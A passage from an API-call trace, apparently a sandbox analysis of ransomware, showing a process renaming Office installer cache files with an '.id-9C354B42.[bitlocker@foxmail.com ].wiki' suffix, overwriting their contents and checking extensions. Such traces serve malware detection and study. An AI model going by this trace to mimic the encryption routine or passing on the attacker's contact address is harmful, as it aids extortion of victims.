liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.196] GetLastError () returned 0x0 [0051.196] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xd5600, lpOverlapped=0x0) returned 1 [0051.447] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0051.460] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.460] WriteFile (in: hFile=0x18c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0051.460] SetEndOfFile (hFile=0x18c) returned 1 [0051.460] CloseHandle (hObject=0x18c) returned 1 [0051.668] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.668] SetEndOfFile (hFile=0x17c) returned 1 [0051.675] CloseHandle (hObject=0x17c) returned 1 [0051.675] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0051.675] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0051.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.675] lstrlenW (lpString=".doc") returned 4 [0051.675] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.675] lstrlenW (lpString=".docx") returned 5 [0051.675] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0051.676] lstrlenW (lpString=".pdf") returned 4 [0051.676] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.676] lstrlenW (lpString=".xls") returned 4 [0051.676] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.676] lstrlenW (lpString=".xlsx") returned 5 [0051.676] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0051.676] lstrlenW (lpString=".ppt") returned 4 [0051.676] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString=".zip") returned 4 [0051.676] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.676] lstrlenW (lpString=".rar") returned 4 [0051.676] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.676] lstrlenW (lpString=".bz2") returned 4 [0051.676] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.676] lstrlenW (lpString=".7z") returned 3 [0051.676] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString=".dbf") returned 4 [0051.676] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString=".1cd") returned 4 [0051.676] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString=".jpg") returned 4 [0051.676] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.676] lstrlenW (lpString=".doc") returned 4 [0051.676] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.676] lstrlenW (lpString=".docx") returned 5 [0051.676] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0051.676] lstrlenW (lpString=".pdf") returned 4 [0051.676] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.677] lstrlenW (lpString=".xls") returned 4 [0051.677] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.677] lstrlenW (lpString=".xlsx") returned 5 [0051.677] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0051.677] lstrlenW (lpString=".ppt") returned 4 [0051.677] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.677] lstrlenW (lpString=".zip") returned 4 [0051.677] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.677] lstrlenW (lpString=".rar") returned 4 [0051.677] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.677] lstrlenW (lpString=".bz2") returned 4 [0051.677] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.677] lstrlenW (lpString=".7z") returned 3 [0051.677] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.677] lstrlenW (lpString=".dbf") returned 4 [0051.677] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.677] lstrlenW (lpString=".1cd") returned 4 [0051.677] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0051.677] lstrlenW (lpString=".jpg") returned 4 [0051.677] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.677] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0051.677] lstrlenW (lpString="InfLR.cab") returned 9 [0051.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.678] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=18874884) returned 1 [0051.678] CloseHandle (hObject=0x17c) returned 1 [0051.678] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0051.678] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.678] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0051.688] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.688] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0051.688] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.688] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.692] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.692] ReadFile (in: hFile=0x17c, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.698] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.698] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.698] ReadFile (in: hFile=0x17c, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.715] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.715] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0052.035] SetEndOfFile (hFile=0x17c) returned 1 [0052.036] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0052.036] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.036] WriteFile (in: hFile=0x17c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.037] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.037] WriteFile (in: hFile=0x17c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.040] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.040] WriteFile (in: hFile=0x17c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.043] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0052.043] CloseHandle (hObject=0x17c) returned 1 [0052.276] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.276] lstrlenW (lpString=".doc") returned 4 [0052.276] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.276] lstrlenW (lpString=".docx") returned 5 [0052.276] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.276] lstrlenW (lpString=".pdf") returned 4 [0052.276] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.276] lstrlenW (lpString=".xls") returned 4 [0052.276] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.276] lstrlenW (lpString=".xlsx") returned 5 [0052.600] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.600] lstrlenW (lpString=".ppt") returned 4 [0052.636] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString=".zip") returned 4 [0052.636] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString=".rar") returned 4 [0052.636] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString=".bz2") returned 4 [0052.636] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.636] lstrlenW (lpString=".7z") returned 3 [0052.636] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString=".dbf") returned 4 [0052.636] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString=".1cd") returned 4 [0052.636] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString=".jpg") returned 4 [0052.636] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.636] lstrlenW (lpString=".doc") returned 4 [0052.636] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString=".docx") returned 5 [0052.636] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.636] lstrlenW (lpString=".pdf") returned 4 [0052.636] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString=".xls") returned 4 [0052.636] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString=".xlsx") returned 5 [0052.636] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.636] lstrlenW (lpString=".ppt") returned 4 [0052.636] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.637] lstrlenW (lpString=".zip") returned 4 [0052.637] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.637] lstrlenW (lpString=".rar") returned 4 [0052.637] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.637] lstrlenW (lpString=".bz2") returned 4 [0052.637] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.637] lstrlenW (lpString=".7z") returned 3 [0052.637] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.637] lstrlenW (lpString=".dbf") returned 4 [0052.637] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.637] lstrlenW (lpString=".1cd") returned 4 [0052.637] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0052.637] lstrlenW (lpString=".jpg") returned 4 [0052.637] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.637] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0052.637] lstrlenW (lpString="OnoteLR.cab") returned 11 [0052.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.637] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17456632) returned 1 [0052.637] CloseHandle (hObject=0x1e0) returned 1 [0052.638] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0052.638] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.638] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.638] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.638] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.638] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.643] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.643] ReadFile (in: hFile=0x1e0, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.645] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.645] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.645] ReadFile (in: hFile=0x1e0, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.660] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.660] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.674] SetEndOfFile (hFile=0x1e0) returned 1 [0052.674] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x4115510 [0052.760] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.761] WriteFile (in: hFile=0x1e0, lpBuffer=0x4115510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4115510*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.761] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.761] WriteFile (in: hFile=0x1e0, lpBuffer=0x4115510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4115510*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.762] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.762] WriteFile (in: hFile=0x1e0, lpBuffer=0x4115510*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4115510*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.764] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4115510 | out: hHeap=0x6c0000) returned 1 [0052.764] CloseHandle (hObject=0x1e0) returned 1 [0052.764] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".doc") returned 4 [0052.765] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString=".docx") returned 5 [0052.765] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.765] lstrlenW (lpString=".pdf") returned 4 [0052.765] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString=".xls") returned 4 [0052.765] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString=".xlsx") returned 5 [0052.765] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.765] lstrlenW (lpString=".ppt") returned 4 [0052.765] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".zip") returned 4 [0052.765] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString=".rar") returned 4 [0052.765] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString=".bz2") returned 4 [0052.765] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.765] lstrlenW (lpString=".7z") returned 3 [0052.765] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".dbf") returned 4 [0052.765] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".1cd") returned 4 [0052.765] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".jpg") returned 4 [0052.765] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.765] 